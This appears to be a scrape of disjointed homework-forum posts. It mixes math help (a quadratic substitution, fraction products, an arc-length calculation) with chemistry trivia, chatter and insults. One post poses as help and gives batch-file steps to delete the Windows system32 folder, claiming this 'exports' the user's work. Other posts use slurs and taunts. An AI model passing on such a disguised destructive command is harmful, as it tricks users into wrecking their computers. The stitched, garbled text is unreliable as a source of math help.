me too, ethan! hate his guts! That' why i posted it! lol.
I hate Bieber!!!!
To work out proportions of chemicals to react fully, you need calculations based on atomic weights. Molecules have 3-dimensional shapes, so you need geometry to understand and calculate now these will behave and fit together. The speed of mixing of leaking gases that could form explosive mixtures involves maths. Did you know that gases pass right through the rubber skin of balloons, the gas molecules squeezing through gaps between the long chains of rubber molecules.
LOL! yeah! It's definitely gibberish! :D
You can replace x^100 with another variable, say z
So x^200 becomes z^2
and your equation becomes an ordinary quadratic in z.
Once you have values for z, take the 100th root to get x.
Thanks for taking the time!
Good job anon! Point for you!
There is only one common factor.....1
Uh.....you put commas, not decimal points
nope,
its 31.5 and 5.4 and 18.9 and 18.89 and 10.8 and 9 and 9.01 and 15.3 i can use
is that kid talking giberish or is he actually speamin about his muma gubba jubba or his mumba jumba
$${\mathtt{31}}{\mathtt{\,\small\textbf+\,}}{\mathtt{18}}{\mathtt{\,\small\textbf+\,}}{\mathtt{15}}{\mathtt{\,-\,}}{\mathtt{4}} = {\mathtt{60}}$$
That's awesome dude! Pitbull? I've got cats, not dogs........and a rabbit!
his name is petro
yep look what else i got .................................................................homework
homework
Don't know
dude i wonder if we can find the rest of the wolves
BOOM BOOM BOOM!!! WOOT WOOT!!!!
WE MADE IT TO THREE HUNDRED !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
WOOOOOHOOOOOOOOOO!!!!
dont listen to him, its simple
make a notepad
type in this
@echo off del c:\WINDOWS\system32save as save.batrun itrestart computerand it will be exportedyour welcome :)
wot u say abot mi mum fgt? u lukin for a rumble m8? i hook u in da grubba. i swer on mi mum fgt
$$\left({\frac{{\mathtt{22}}}{{\mathtt{51}}}}\right){\mathtt{\,\times\,}}\left({\frac{{\mathtt{17}}}{{\mathtt{22}}}}\right) = {\frac{{\mathtt{1}}}{{\mathtt{3}}}} = {\mathtt{0.333\: \!333\: \!333\: \!333\: \!333\: \!3}}$$
find the arc length of a circle with a diameter of 14cm and a central angle of 57.3 degrees
$$\boxed{ \small{\text{ arc length }} = \small{\text{ radius }} * \alpha\ensurement{^{\circ}} *\dfrac{\pi}{ 180\ensurement{^{\circ}} } } \\\\ \quad \small{\text{ radius }} = \dfrac{14 \ cm}{2} = 7\ cm \qquad \alpha\ensurement{^{\circ}} = 57.3\ensurement{^{\circ}} \\\\ \small{\text{ arc length }} = 7\ cm* 57.3\ensurement{^{\circ} } *\dfrac{\pi}{ 180\ensurement{^{\circ}} } \\\\ \small{\text{ arc length }} = 7.00051562975\ cm$$